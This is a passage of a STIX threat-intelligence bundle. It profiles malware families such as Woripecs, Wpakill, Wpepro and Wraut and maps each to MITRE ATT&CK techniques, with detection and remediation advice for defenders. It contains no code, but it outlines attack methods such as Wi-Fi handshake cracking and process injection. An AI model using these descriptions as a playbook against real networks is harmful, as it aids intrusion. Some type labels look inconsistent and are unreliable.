      "description": "Wootbot exhibits technique T1210 (Exploitation of Remote Services (Spreading via known Windows vulnerabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb9208f2-c6fa-5e77-ab89-2c95e1def6b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a188ba1-36bc-52fe-a12a-49e767ed8704",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wootbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Using IRC for Command and Control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdc14d0e-ce40-58b7-bd67-2dda92e17f22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a188ba1-36bc-52fe-a12a-49e767ed8704",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wootbot exhibits technique T1498 (Network Denial of Service (Executing DDoS commands received via IRC))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95ef5bf0-2b24-5b31-b4c2-dfe7341455b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a188ba1-36bc-52fe-a12a-49e767ed8704",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wootbot exhibits technique T1110.001 (Brute Force: Password Guessing (Brute-forcing network shares for lateral movement))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Woozlist",
      "description": "WoozList (classified as BrowserModifier:Win32/WoozList and Adware:Win32/WoozList across Microsoft Defender, Malwarebytes, and Trend Micro) is a persistent adware toolbar and browser hijacker. Bundled with freeware utilities and media converters, WoozList forces unwanted modifications across Chrome, Firefox, and Edge browsers. It changes default search engines, replaces start pages with ad-monetized portal domains, and injects sponsored search results and pop-under commercial banners into web sessions. WoozList creates autostart registry entries and persistent background updater services to resist manual uninstallation. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/WoozList",
        "Adware:Win32/WoozList",
        "PUA:Win32/WoozList",
        "WoozList Toolbar",
        "Win32/WoozList"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Woozlist",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/woozlist"
        }
      ],
      "labels": [
        "browser_modifier",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f193dabc-426b-5be2-b45b-f370e17c4260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woozlist exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3945bfa8-9b25-5b09-a76c-e53a86ed9ea4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woozlist exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d94eed98-8e0c-5f36-8539-f47872066e60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woozlist exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad07be0f-148f-5d61-a055-6aa3256a9772",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woozlist exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e87f59b9-4c63-5370-a7c2-e60d80a70ee1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86c66d7c-0428-5be0-aeee-52fbcc77cef5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woozlist exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--779c5e90-ef9e-57fa-a51f-007545c56954",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Woripecs",
      "description": "<h3>Executive Summary</h3>\nWoripecs is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWoripecs is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Woripecs operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Woripecs ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Woripecs receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Woripecs infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Woripecs executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Woripecs frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Woripecs",
        "Downloader.Woripecs",
        "Win32/Woripecs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Woripecs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/woripecs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c3ed7a6-c7bc-59c9-a124-ebc9ff863057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--779c5e90-ef9e-57fa-a51f-007545c56954",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woripecs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4581a022-3f85-5c9f-a800-14f6c6cb0340",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--779c5e90-ef9e-57fa-a51f-007545c56954",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woripecs exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--785aadfe-a63d-5e4c-a0cb-b12a7b1519ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--779c5e90-ef9e-57fa-a51f-007545c56954",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woripecs exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24fd6019-a3b8-501c-a6a0-9a4aebfeb528",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wowlik",
      "description": "Wowlik (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Wowlik, PUA:Win32/Wowlik, and Adware.Wowlik) is an aggressive adware and click-fraud botnet component active since 2016. Infiltrating endpoints primarily through third-party freeware download mirrors, pirated media players, and deceptive software wrappers, Wowlik installs persistent background services and modifies browser preferences. Once active, the adware injects unsolicited pop-up advertisements, overlays intrusive banners on legitimate web pages, alters default search providers, and silently generates artificial advertising clicks in hidden browser sessions to monetize victim web traffic across advertising syndication networks. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Wowlik",
        "PUA:Win32/Wowlik",
        "Adware.Wowlik",
        "Win32/Wowlik",
        "Adware:Win32/Wowlik.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wowlik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wowlik"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99a3203b-ae8b-53e9-b5ca-4ea5ca5600cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wpakill",
      "description": "HackTool:Win32/Wpakill is a classification for a suite of specialized utilities designed to audit, brute-force, or crack Wi-Fi network security, specifically targeting WPA and WPA2 encryption (`T1110.001`). While sometimes used legitimately by penetration testers, tools flagged as Wpakill are frequently weaponized by attackers to gain unauthorized initial access to corporate or private wireless networks during the reconnaissance phase of an attack.<br><br><b>Understanding Wpakill (Network Cracking)</b><br>To an end-user, Wpakill is not a standard virus; they will likely never see it unless they are the ones trying to steal their neighbor's Wi-Fi. For a security team, detecting Wpakill on a corporate asset indicates either an insider threat, a rogue device on the network, or an attacker actively attempting to breach the physical perimeter via wireless vulnerabilities.<br><br><b>Execution and Cracking Mechanics</b><br>Wpakill tools generally operate by sniffing wireless traffic to capture the 4-way handshake (`T1040`) that occurs when a legitimate client authenticates to the Access Point (AP). Some tools may actively deauthenticate a client (`T1498.002`) to force this handshake to occur. Once the handshake is captured, Wpakill uses dictionary attacks or brute-force methods (often leveraging GPU acceleration) to guess the Pre-Shared Key (PSK).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of the wireless network perimeter, granting the attacker internal network access. Host-based IoCs include the presence of Wpakill executables, alongside massive dictionary text files (e.g., `rockyou.txt`) and `.cap` or `.pcap` files containing captured network traffic. Network IoCs are generally restricted to the wireless spectrum itself: wireless intrusion detection systems (WIDS) may flag a high volume of deauthentication frames or repeated, rapid failed authentication attempts against an Access Point. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wpakill",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wpakill"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--febed905-74df-5db2-808d-508c061e1b28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99a3203b-ae8b-53e9-b5ca-4ea5ca5600cd",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpakill exhibits technique T1110.001 (Brute Force: Password Guessing (Cracking the WPA/WPA2 Pre-Shared Key))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3186035d-9322-58b0-8916-4b8948f2ed1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99a3203b-ae8b-53e9-b5ca-4ea5ca5600cd",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpakill exhibits technique T1040 (Network Sniffing (Capturing the 4-way handshake))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e24f7f6-b385-54db-83a6-0a76f30ab66b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99a3203b-ae8b-53e9-b5ca-4ea5ca5600cd",
      "target_ref": "attack-pattern--c13f7538-cfc1-5a57-8ba2-d4055dfcc13c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpakill exhibits technique T1498.002 (Network Denial of Service: Endpoint Denial of Service (Deauthenticating clients to force a handshake))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3117e9c2-3c29-5bab-9bf7-457e30c8c9d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wpepro",
      "description": "HackTool:Win32/Wpepro (Winsock Packet Editor Pro) is a powerful, legacy network utility designed to intercept, analyze, and modify network packets at the Winsock layer. While technically a network debugging tool, WPE Pro is overwhelmingly used in the 'game hacking' community to cheat in online multiplayer games by manipulating client-server communications. Due to its inherent capabilities for Network Sniffing and Man-in-the-Middle (MitM) attacks, enterprise security vendors correctly classify it as a **HackTool**.<br><br><b>Understanding Wpepro (Packet Sniffing)</b><br>To an end-user, Wpepro is a tool used to duplicate items or teleport in MMORPGs by spoofing network packets. For a security analyst, the presence of WPE Pro on a corporate network is a severe violation of acceptable use and a significant security risk. The tool grants the user the ability to intercept and modify unencrypted network traffic (`T1040`), which can be abused to steal session tokens, manipulate web applications, or perform basic network reconnaissance.<br><br><b>Execution and Sniffing Mechanics</b><br>WPE Pro is an explicit, standalone executable (`T1204.002`). Upon execution, it does not hide; it presents a graphical interface allowing the user to select a target process (e.g., a game client or a web browser). It then hooks into the Windows Sockets (Winsock) API (`recv`, `send`, `recvfrom`, `sendto`). This API hooking allows the tool to display all incoming and outgoing packets for that specific process in hex/ASCII format. Crucially, it allows the user to set 'filters' to automatically modify packet data on the fly before it reaches the network or the application.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is potential unauthorized access to data in transit and violation of corporate network policies. Host-based IoCs include the presence of the `WPE PRO.exe` binary, often downloaded from game cheat forums. EDR solutions may generate alerts regarding unauthorized API hooking (specifically Winsock APIs) by an unverified executable. Unlike traditional malware, Wpepro does not typically establish persistence or communicate with a C2 server. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wpepro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wpepro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87289f26-d8a1-5308-a676-44c9ecf81289",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117e9c2-3c29-5bab-9bf7-457e30c8c9d0",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpepro exhibits technique T1040 (Network Sniffing (Intercepting Winsock traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c680f40-62d3-5148-823a-42593bd3afab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117e9c2-3c29-5bab-9bf7-457e30c8c9d0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpepro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (API Hooking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f39552ab-0440-5b8b-b700-2450d953ab78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117e9c2-3c29-5bab-9bf7-457e30c8c9d0",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wpepro exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f401bf1-bc30-58f0-ab47-ff143978beb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wrar",
      "description": "<h3>Executive Summary</h3>\n\"Wrar\" (often flagged as Riskware.Wrar or PUP.Wrar) is a detection classification that typically refers to cracked, modified, or bundled versions of the legitimate file archiving utility, WinRAR. While WinRAR itself is a highly respected and ubiquitous tool, threat actors frequently repackage the legitimate installer with keygens, ad-injectors, or hidden trojans, leveraging the software's popularity to deceive users into executing malicious payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWrar detections almost exclusively stem from users intentionally downloading pirated software or bypassing corporate IT controls to install unauthorized archiving tools from third-party, peer-to-peer (P2P), or torrent networks.\n\nDepending on the specific \"cracked\" version, the behavior can range from annoying to highly destructive:\n<ul>\n<li><strong>Adware Bundling:</strong> The modified installer may silently deploy browser hijackers or desktop adware alongside the legitimate WinRAR application, altering search settings and injecting ads to generate illicit revenue.</li>\n<li><strong>Keygens and Patchers:</strong> To bypass WinRAR's licensing, these downloads often include \"Keygens\" or \"Patchers.\" These executables are notorious for being heavily obfuscated and frequently act as droppers for secondary malware, such as info-stealers or botnet clients.</li>\n<li><strong>Supply Chain/Water-holing:</strong> In rare, severe instances, attackers have compromised legitimate third-party download mirrors to distribute trojanized versions of WinRAR that contain backdoors, providing immediate remote access upon installation.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe primary risk of a Wrar detection is the circumvention of security policy. Even if the specific cracked version only installs adware, the fact that a user executed an untrusted binary from a piracy site indicates a severe lapse in security awareness and a high probability of future, more severe infections.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Sweeps:</strong> Remove the unauthorized installation of WinRAR and any associated \"patch\" or \"keygen\" files. Conduct a full system scan to ensure the repackaged installer did not silently drop secondary malware.</li>\n<li><strong>Application Control (AppLocker):</strong> Enforce strict application whitelisting policies. Ensure that users can only install approved, digitally signed utilities (like 7-Zip or an enterprise-licensed version of WinRAR) from a centralized Software Center.</li>\n<li><strong>User Education:</strong> Inform the user about the severe risks of utilizing \"cracked\" software and the importance of adhering to corporate acceptable use policies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Wrar",
        "PUP.Wrar",
        "HackTool.WinRAR.Keygen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wrar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wrar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f70dd99-02ed-5008-bdf3-1caaf8cf0672",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f401bf1-bc30-58f0-ab47-ff143978beb8",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wrar exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aae4936-8fac-5bb7-8db2-e424ddd1cffb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f401bf1-bc30-58f0-ab47-ff143978beb8",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wrar exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47cfed59-4f07-5fde-85cd-405ba3188cc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f401bf1-bc30-58f0-ab47-ff143978beb8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wrar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wraut",
      "description": "Trojan:Win32/Wraut is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wraut</b><br>To an end-user, a Wraut infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wraut is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wraut is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wraut frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wraut reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wraut",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wraut"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53aa00bc-2c85-57f9-bcb3-0edad17d5eb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wraut exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ceb98104-63a6-5f14-8a8e-cc39f95a025c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wraut exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7383283f-6158-50ec-ab80-757a04e0e9d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wraut exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c1b5da0-a638-5ca2-97da-53c44ed1c88b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wraut exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e6366d2-263a-552a-9017-f8e4b42e95c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--087c9dad-bea5-564b-a69f-cf9b788697a2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wraut exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Writos",
